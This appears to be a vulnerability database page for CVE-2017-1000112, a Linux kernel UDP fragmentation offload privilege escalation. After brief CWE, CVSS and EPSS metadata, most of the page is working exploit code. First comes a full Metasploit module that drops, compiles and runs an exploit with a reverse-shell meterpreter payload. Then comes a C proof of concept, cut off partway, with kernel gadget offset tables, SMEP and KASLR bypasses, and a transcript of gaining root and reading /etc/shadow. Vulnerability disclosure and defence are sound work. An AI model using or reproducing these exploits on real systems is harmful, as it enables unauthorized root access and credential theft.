Related Weaknesses
CWE-ID |
Weakness Name |
Source |
CWE-362 |
Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') The product contains a concurrent code sequence that requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence operating concurrently. |
|
Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V3.1 |
7 |
HIGH |
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. The vulnerable system can be exploited without interaction from any user. Base: Scope MetricsThe Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact MetricsThe Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental MetricsThese metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
|
nvd@nist.gov |
V2 |
6.9 |
|
AV:L/AC:M/Au:N/C:C/I:C/A:C |
nvd@nist.gov |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 45147
Publication date : 2018-08-02 22h00 +00:00
Author : Metasploit
EDB Verified : Yes
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = GoodRanking
include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Post::Linux::Kernel
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Linux Kernel UDP Fragmentation Offset (UFO) Privilege Escalation',
'Description' => %q{
This module attempts to gain root privileges on Linux systems by abusing
UDP Fragmentation Offload (UFO).
This exploit targets only systems using Ubuntu (Trusty / Xenial) kernels
4.4.0-21 <= 4.4.0-89 and 4.8.0-34 <= 4.8.0-58, including Linux distros
based on Ubuntu, such as Linux Mint.
The target system must have unprivileged user namespaces enabled
and SMAP disabled.
Bypasses for SMEP and KASLR are included. Failed exploitation
may crash the kernel.
This module has been tested successfully on various Ubuntu and Linux
Mint systems, including:
Ubuntu 14.04.5 4.4.0-31-generic x64 Desktop;
Ubuntu 16.04 4.8.0-53-generic;
Linux Mint 17.3 4.4.0-89-generic;
Linux Mint 18 4.8.0-58-generic
},
'License' => MSF_LICENSE,
'Author' =>
[
'Andrey Konovalov', # Discovery and C exploit
'h00die', # Metasploit module
'Brendan Coles' # Metasploit module
],
'DisclosureDate' => 'Aug 10 2017',
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [[ 'Auto', {} ]],
'Privileged' => true,
'References' =>
[
[ 'CVE', '2017-1000112' ],
[ 'EDB', '43418' ],
[ 'BID', '100262' ],
[ 'URL', 'http://seclists.org/oss-sec/2017/q3/277' ],
[ 'URL', 'https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-1000112/poc.c' ],
[ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/davem/net.git/commit/?id=85f1bd9a7b5a79d5baa8bf44af19658f7bf77bfa' ],
[ 'URL', 'https://people.canonical.com/~ubuntu-security/cve/CVE-2017-1000112' ],
[ 'URL', 'https://securingtomorrow.mcafee.com/mcafee-labs/linux-kernel-vulnerability-can-lead-to-privilege-escalation-analyzing-cve-2017-1000112/' ],
[ 'URL', 'https://ricklarabee.blogspot.com/2017/12/adapting-poc-for-cve-2017-1000112-to.html' ],
[ 'URL', 'https://github.com/bcoles/kernel-exploits/commits/cve-2017-1000112' ]
],
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' },
'DefaultTarget' => 0))
register_options [
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w[Auto True False] ]),
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
]
end
def base_dir
datastore['WritableDir'].to_s
end
def upload(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
rm_f path
write_file path, data
end
def upload_and_chmodx(path, data)
upload path, data
cmd_exec "chmod +x '#{path}'"
end
def upload_and_compile(path, data)
upload "#{path}.c", data
gcc_cmd = "gcc -o #{path} #{path}.c"
if session.type.eql? 'shell'
gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}"
end
output = cmd_exec gcc_cmd
rm_f "#{path}.c"
unless output.blank?
print_error output
fail_with Failure::Unknown, "#{path}.c failed to compile"
end
cmd_exec "chmod +x #{path}"
end
def exploit_data(file)
path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2017-1000112', file
fd = ::File.open path, 'rb'
data = fd.read fd.stat.size
fd.close
data
end
def live_compile?
return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True')
if has_gcc?
vprint_good 'gcc is installed'
return true
end
unless datastore['COMPILE'].eql? 'Auto'
fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.'
end
end
def check
version = kernel_release
unless version =~ /^4\.4\.0-(21|22|24|28|31|34|36|38|42|45|47|51|53|57|59|62|63|64|66|67|70|71|72|75|78|79|81|83|87|89|81|89)-generic/ ||
version =~ /^4\.8\.0-(34|36|39|41|45|46|49|51|52|53|54|56|58)-generic/
vprint_error "Linux kernel version #{version} is not vulnerable"
return CheckCode::Safe
end
vprint_good "Linux kernel version #{version} is vulnerable"
vprint_status 'Checking if SMAP is enabled ...'
if smap_enabled?
vprint_error 'SMAP is enabled'
return CheckCode::Safe
end
vprint_good 'SMAP is not enabled'
arch = kernel_hardware
unless arch.include? 'x86_64'
vprint_error "System architecture #{arch} is not supported"
return CheckCode::Safe
end
vprint_good "System architecture #{arch} is supported"
unless userns_enabled?
vprint_error 'Unprivileged user namespaces are not permitted'
return CheckCode::Safe
end
vprint_good 'Unprivileged user namespaces are permitted'
CheckCode::Appears
end
def exploit
unless check == CheckCode::Appears
fail_with Failure::NotVulnerable, 'Target not vulnerable! punt!'
end
if is_root?
fail_with Failure::BadConfig, 'Session already has root privileges'
end
unless cmd_exec("test -w '#{base_dir}' && echo true").include? 'true'
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end
# Upload exploit executable
executable_name = ".#{rand_text_alphanumeric rand(5..10)}"
executable_path = "#{base_dir}/#{executable_name}"
if live_compile?
vprint_status 'Live compiling exploit on system...'
upload_and_compile executable_path, exploit_data('exploit.c')
else
vprint_status 'Dropping pre-compiled exploit on system...'
upload_and_chmodx executable_path, exploit_data('exploit.out')
end
# Upload payload executable
payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}"
upload_and_chmodx payload_path, generate_payload_exe
# Launch exploit
print_status 'Launching exploit ...'
output = cmd_exec "echo '#{payload_path} & exit' | #{executable_path}"
output.each_line { |line| vprint_status line.chomp }
print_status "Cleaning up #{payload_path} and #{executable_path} ..."
rm_f executable_path
rm_f payload_path
end
end
Exploit Database EDB-ID : 43418
Publication date : 2017-08-12 22h00 +00:00
Author : Andrey Konovalov
EDB Verified : Yes
// A proof-of-concept local root exploit for CVE-2017-1000112.
// Includes KASLR and SMEP bypasses. No SMAP bypass.
// Tested on Ubuntu trusty 4.4.0-* and Ubuntu xenial 4-8-0-* kernels.
//
// EDB Note: Also included the work from ~ https://ricklarabee.blogspot.co.uk/2017/12/adapting-poc-for-cve-2017-1000112-to.html
// Supports: Ubuntu Xenial (16.04) 4.4.0-81
//
// Usage:
// user@ubuntu:~$ uname -a
// Linux ubuntu 4.8.0-58-generic #63~16.04.1-Ubuntu SMP Mon Jun 26 18:08:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
// user@ubuntu:~$ whoami
// user
// user@ubuntu:~$ id
// uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
// user@ubuntu:~$ gcc pwn.c -o pwn
// user@ubuntu:~$ ./pwn
// [.] starting
// [.] checking distro and kernel versions
// [.] kernel version '4.8.0-58-generic' detected
// [~] done, versions looks good
// [.] checking SMEP and SMAP
// [~] done, looks good
// [.] setting up namespace sandbox
// [~] done, namespace sandbox set up
// [.] KASLR bypass enabled, getting kernel addr
// [~] done, kernel text: ffffffffae400000
// [.] commit_creds: ffffffffae4a5d20
// [.] prepare_kernel_cred: ffffffffae4a6110
// [.] SMEP bypass enabled, mmapping fake stack
// [~] done, fake stack mmapped
// [.] executing payload ffffffffae40008d
// [~] done, should be root now
// [.] checking if we got root
// [+] got r00t ^_^
// root@ubuntu:/home/user# whoami
// root
// root@ubuntu:/home/user# id
// uid=0(root) gid=0(root) groups=0(root)
// root@ubuntu:/home/user# cat /etc/shadow
// root:!:17246:0:99999:7:::
// daemon:*:17212:0:99999:7:::
// bin:*:17212:0:99999:7:::
// sys:*:17212:0:99999:7:::
// ...
//
// EDB Note: Details ~ http://www.openwall.com/lists/oss-security/2017/08/13/1
//
// Andrey Konovalov <andreyknvl@gmail.com>
#define _GNU_SOURCE
#include <assert.h>
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <linux/socket.h>
#include <netinet/ip.h>
#include <sys/klog.h>
#include <sys/mman.h>
#include <sys/utsname.h>
#define ENABLE_KASLR_BYPASS 1
#define ENABLE_SMEP_BYPASS 1
// Will be overwritten if ENABLE_KASLR_BYPASS is enabled.
unsigned long KERNEL_BASE = 0xffffffff81000000ul;
// Will be overwritten by detect_versions().
int kernel = -1;
struct kernel_info {
const char* distro;
const char* version;
uint64_t commit_creds;
uint64_t prepare_kernel_cred;
uint64_t xchg_eax_esp_ret;
uint64_t pop_rdi_ret;
uint64_t mov_dword_ptr_rdi_eax_ret;
uint64_t mov_rax_cr4_ret;
uint64_t neg_rax_ret;
uint64_t pop_rcx_ret;
uint64_t or_rax_rcx_ret;
uint64_t xchg_eax_edi_ret;
uint64_t mov_cr4_rdi_ret;
uint64_t jmp_rcx;
};
struct kernel_info kernels[] = {
{ "trusty", "4.4.0-21-generic", 0x9d7a0, 0x9da80, 0x4520a, 0x30f75, 0x109957, 0x1a7a0, 0x3d6b7a, 0x1cbfc, 0x76453, 0x49d4d, 0x61300, 0x1b91d },
{ "trusty", "4.4.0-22-generic", 0x9d7e0, 0x9dac0, 0x4521a, 0x28c19d, 0x1099b7, 0x1a7f0, 0x3d781a, 0x1cc4c, 0x764b3, 0x49d5d, 0x61300, 0x48040 },
{ "trusty", "4.4.0-24-generic", 0x9d5f0, 0x9d8d0, 0x4516a, 0x1026cd, 0x107757, 0x1a810, 0x3d7a9a, 0x1cc6c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 },
{ "trusty", "4.4.0-28-generic", 0x9d760, 0x9da40, 0x4516a, 0x3dc58f, 0x1079a7, 0x1a830, 0x3d801a, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 },
{ "trusty", "4.4.0-31-generic", 0x9d760, 0x9da40, 0x4516a, 0x3e223f, 0x1079a7, 0x1a830, 0x3ddcca, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 },
{ "trusty", "4.4.0-34-generic", 0x9d760, 0x9da40, 0x4510a, 0x355689, 0x1079a7, 0x1a830, 0x3ddd1a, 0x1cc8c, 0x763b3, 0x49c5d, 0x612f0, 0x47f40 },
{ "trusty", "4.4.0-36-generic", 0x9d770, 0x9da50, 0x4510a, 0x1eec9d, 0x107a47, 0x1a830, 0x3de02a, 0x1cc8c, 0x763c3, 0x29595, 0x61300, 0x47f40 },
{ "trusty", "4.4.0-38-generic", 0x9d820, 0x9db00, 0x4510a, 0x598fd, 0x107af7, 0x1a820, 0x3de8ca, 0x1cc7c, 0x76473, 0x49c5d, 0x61300, 0x1a77b },
{ "trusty", "4.4.0-42-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3deb7a, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b },
{ "trusty", "4.4.0-45-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3debda, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b },
{ "trusty", "4.4.0-47-generic", 0x9d940, 0x9dc20, 0x4511a, 0x171f8d, 0x107bd7, 0x1a820, 0x3e241a, 0x1cc7c, 0x76463, 0x299f5, 0x61300, 0x1a77b },
{ "trusty", "4.4.0-51-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b },
{ "trusty", "4.4.0-53-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b },
{ "trusty", "4.4.0-57-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x39401d, 0x1097d7, 0x1a820, 0x3e527a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
{ "trusty", "4.4.0-59-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dbc4e, 0x1097d7, 0x1a820, 0x3e571a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
{ "trusty", "4.4.0-62-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x3ea46f, 0x109837, 0x1a820, 0x3e5e5a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
{ "trusty", "4.4.0-63-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
{ "trusty", "4.4.0-64-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
{ "trusty", "4.4.0-66-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
{ "trusty", "4.4.0-67-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x12a9dc, 0x109887, 0x1a820, 0x3e67ba, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
{ "trusty", "4.4.0-70-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
{ "trusty", "4.4.0-71-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
{ "trusty", "4.4.0-72-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
{ "trusty", "4.4.0-75-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x303cfd, 0x1098a7, 0x1a820, 0x3e67ea, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
{ "trusty", "4.4.0-78-generic", 0x9eb70, 0x9ee50, 0x4518a, 0x30366d, 0x1098b7, 0x1a820, 0x3e710a, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
{ "trusty", "4.4.0-79-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x3ebdcf, 0x1099a7, 0x1a830, 0x3e77ba, 0x1cc8c, 0x774e3, 0x49cdd, 0x62330, 0x1a78b },
{ "trusty", "4.4.0-81-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dc688, 0x1099a7, 0x1a830, 0x3e789a, 0x1cc8c, 0x774e3, 0x24487, 0x62330, 0x1a78b },
{ "trusty", "4.4.0-83-generic", 0x9ebc0, 0x9eea0, 0x451ca, 0x2dc6f5, 0x1099b7, 0x1a830, 0x3e78fa, 0x1cc8c, 0x77533, 0x49d1d, 0x62360, 0x1a78b },
{ "xenial", "4.8.0-34-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 },
{ "xenial", "4.8.0-36-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 },
{ "xenial", "4.8.0-39-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },
{ "xenial", "4.8.0-41-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },
{ "xenial", "4.8.0-45-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0xdfc5, 0x64210, 0x49f60 },
{ "xenial", "4.8.0-46-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },
{ "xenial", "4.8.0-49-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x439bba, 0x102e33, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
{ "xenial", "4.8.0-52-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x63e843, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
{ "xenial", "4.8.0-54-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x5ada3c, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
{ "xenial", "4.8.0-56-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x39d50d, 0x119207, 0x1b170, 0x43a14a, 0x44d4a0, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
{ "xenial", "4.8.0-58-generic", 0xa5d20, 0xa6110, 0x17c55, 0xe56f5, 0x119227, 0x1b170, 0x439e7a, 0x162622, 0x7bd23, 0x12c7f7, 0x64210, 0x49fa0 },
{ "xenial", "4.4.0-81-generic", 0xa2800, 0xa2bf0, 0x8a, 0x3eb4ad, 0x112697, 0x1b9c0, 0x40341a, 0x1de6c, 0x7a453, 0x125787, 0x64580, 0x49ed0 },
};
// Used to get root privileges.
#define COMMIT_CREDS (KERNEL_BASE + kernels[kernel].commit_creds)
#define PREPARE_KERNEL_CRED (KERNEL_BASE + kernels[kernel].prepare_kernel_cred)
// Used when ENABLE_SMEP_BYPASS is used.
// - xchg eax, esp ; ret
// - pop rdi ; ret
// - mov dword ptr [rdi], eax ; ret
// - push rbp ; mov rbp, rsp ; mov rax, cr4 ; pop rbp ; ret
// - neg rax ; ret
// - pop rcx ; ret
// - or rax, rcx ; ret
// - xchg eax, edi ; ret
// - push rbp ; mov rbp, rsp ; mov cr4, rdi ; pop rbp ; ret
// - jmp rcx
#define XCHG_EAX_ESP_RET (KERNEL_BASE + kernels[kernel].xchg_eax_esp_ret)
#define POP_RDI_RET (KERNEL_BASE + kernels[kernel].pop_rdi_ret)
#define MOV_DWORD_PTR_RDI_EAX_RET (KERNEL_BASE + kernels[kernel].mov_dword_ptr_rdi_eax_ret)
#define MOV_RAX_CR4_RET (KERNEL_BASE + kernels[kernel].mov_rax_cr4_ret)
#define NEG_RAX_RET (KERNEL_BASE + kernels[kernel].neg_rax_ret)
#define POP_RCX_RET (KERNEL_BASE + kernels[kernel].pop_rcx_ret)
#define OR_RAX_RCX_RET (KERNEL_BASE + kernels[kernel].or_rax_rcx_ret)
#define XCHG_EAX_EDI_RET (KERNEL_BASE + kernels[kernel].xchg_eax_edi_ret)
#define MOV_CR4_RDI_RET (KERNEL_BASE + kernels[kernel].mov_cr4_rdi_ret)
#define JMP_RCX (KERNEL_BASE + kernels[kernel].jmp_rcx)
// * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * *
typedef unsigned long __attribute__((regparm(3))) (*_commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred);
void get_root(void) {
((_commit_creds)(COMMIT_CREDS))(
((_prepare_kernel_cred)(PREPARE_KERNEL_CRED))(0));
}
// * * * * * * * * * * * * * * * * SMEP bypass * * * * * * * * * * * * * * * *
uint64_t saved_esp;
// Unfortunately GCC does not support `__atribute__((naked))` on x86, which
// can be used to omit a function's prologue, so I had to use this weird
// wrapper hack as a workaround. Note: Clang does support it, which means it
// has better support of GCC attributes than GCC itself. Funny.
void wrapper() {
asm volatile (" \n\
payload: \n\
movq %%rbp, %%rax \n\
movq $0xffffffff00000000, %%rdx \n\
andq %%rdx, %%rax \n\
movq %0, %%rdx \n\
addq %%rdx, %%rax \n\
movq %%rax, %%rsp \n\
call get_root \n\
ret \n\
" : : "m"(saved_esp) : );
}
void payload();
#define CHAIN_SAVE_ESP \
*stack++ = POP_RDI_RET; \
*stack++ = (uint64_t)&saved_esp; \
*stack++ = MOV_DWORD_PTR_RDI_EAX_RET;
#define SMEP_MASK 0x100000
#define CHAIN_DISABLE_SMEP \
*stack++ = MOV_RAX_CR4_RET; \
*stack++ = NEG_RAX_RET; \
*stack++ = POP_RCX_RET; \
*stack++ = SMEP_MASK; \
*stack++ = OR_RAX_RCX_RET; \
*stack++ = NEG_RAX_RET; \
*stack++ = XCHG_EAX_EDI_RET; \
*stack++ = MOV_CR4_RDI_RET;
#define CHAIN_JMP_PAYLOAD \
*stack++ = POP_RCX_RET; \
*stack++ = (uint64_t)&payload; \
*stack++ = JMP_RCX;
void mmap_stack() {
uint64_t stack_aligned, stack_addr;
int page_size, stack_size, stack_offset;
uint64_t* stack;
page_size = getpagesize();
stack_aligned = (XCHG_EAX_ESP_RET & 0x00000000fffffffful) & ~(page_size - 1);
stack_addr = stack_aligned - page_size * 4;
stack_size = page_size * 8;
stack_offset = XCHG_EAX_ESP_RET % page_size;
stack = mmap((void*)stack_addr, stack_size, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
if (stack == MAP_FAILED || stack != (void*)stack_addr) {
perror("[-] mmap()");
exit(EXIT_FAILURE);
}
stack = (uint64_t*)((char*)stack_aligned + stack_offset);
CHAIN_SAVE_ESP;
CHAIN_DISABLE_SMEP;
CHAIN_JMP_PAYLOAD;
}
// * * * * * * * * * * * * * * syslog KASLR bypass * * * * * * * * * * * * * *
#define SYSLOG_ACTION_READ_ALL 3
#define SYSLOG_ACTION_SIZE_BUFFER 10
void mmap_syslog(char** buffer, int* size) {
*size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0);
if (*size == -1) {
perror("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)");
exit(EXIT_FAILURE);
}
*size = (*size / getpagesize() + 1) * getpagesize();
*buffer = (char*)mmap(NULL, *size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
*size = klogctl(SYSLOG_ACTION_READ_ALL, &((*buffer)[0]), *size);
if (*size == -1) {
perror("[-] klogctl(SYSLOG_ACTION_READ_ALL)");
exit(EXIT_FAILURE);
}
}
unsigned long get_kernel_addr_trusty(char* buffer, int size) {
const char* needle1 = "Freeing unused";
char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
if (substr == NULL) {
fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle1);
exit(EXIT_FAILURE);
}
int start = 0;
int end = 0;
for (end = start; substr[end] != '-'; end++);
const char* needle2 = "ffffff";
substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
if (substr == NULL) {
fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle2);
exit(EXIT_FAILURE);
}
char* endptr = &substr[16];
unsigned long r = strtoul(&substr[0], &endptr, 16);
r &= 0xffffffffff000000ul;
return r;
}
unsigned long get_kernel_addr_xenial(char* buffer, int size) {
const char* needle1 = "Freeing unused";
char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
if (substr == NULL) {
fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle1);
exit(EXIT_FAILURE);
}
int start = 0;
int end = 0;
for (start = 0; substr[start] != '-'; start++);
for (end = start; substr[end] != '\n'; end++);
const char* needle2 = "ffffff";
substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
if (substr == NULL) {
fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle2);
exit(EXIT_FAILURE);
}
char* endptr = &substr[16];
unsigned long r = strtoul(&substr[0], &endptr, 16);
r &= 0xfffffffffff00000ul;
r -= 0x1000000ul;
return r;
}
unsigned long get_kernel_addr() {
char* syslog;
int size;
mmap_syslog(&syslog, &size);
if (strcmp("trusty", kernels[kernel].distro) == 0 &&
strncmp("4.4.0", kernels[kernel].version, 5) == 0)
return get_kernel_addr_trusty(syslog, size);
if (strcmp("xenial", kernels[kernel].distro) == 0 &&
strncmp("4.4.0", kernels[kernel].version, 5) == 0 ||
strncmp("4.8.0", kernels[kernel].version, 5) == 0)
return get_kernel_addr_xenial(syslog, size);
printf("[-] KASLR bypass only tested on trusty 4.4.0-* and xenial 4-8-0-*");
exit(EXIT_FAILURE);
}
// * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * *
struct ubuf_info {
uint64_t callback; // void (*callback)(struct ubuf_info *, bool)
uint64_t ctx; // void *
uint64_t desc; // unsigned long
};
struct skb_shared_info {
uint8_t nr_frags; // unsigned char
uint8_t tx_flags; // __u8
uint16_t gso_size; // unsigned short
uint16_t gso_segs; // unsigned short
uint16_t gso_type; // unsigned short
uint64_t frag_list; // struct sk_buff *
uint64_t hwtstamps; // struct skb_shared_hwtstamps
uint32_t tskey; // u32
uint32_t ip6_frag_id; // __be32
uint32_t dataref; // atomic_t
uint64_t destructor_arg; // void *
uint8_t frags[16][17]; // skb_frag_t frags[MAX_SKB_FRAGS];
};
struct ubuf_info ui;
void init_skb_buffer(char* buffer, unsigned long func) {
struct skb_shared_info* ssi = (struct skb_shared_info*)buffer;
memset(ssi, 0, sizeof(*ssi));
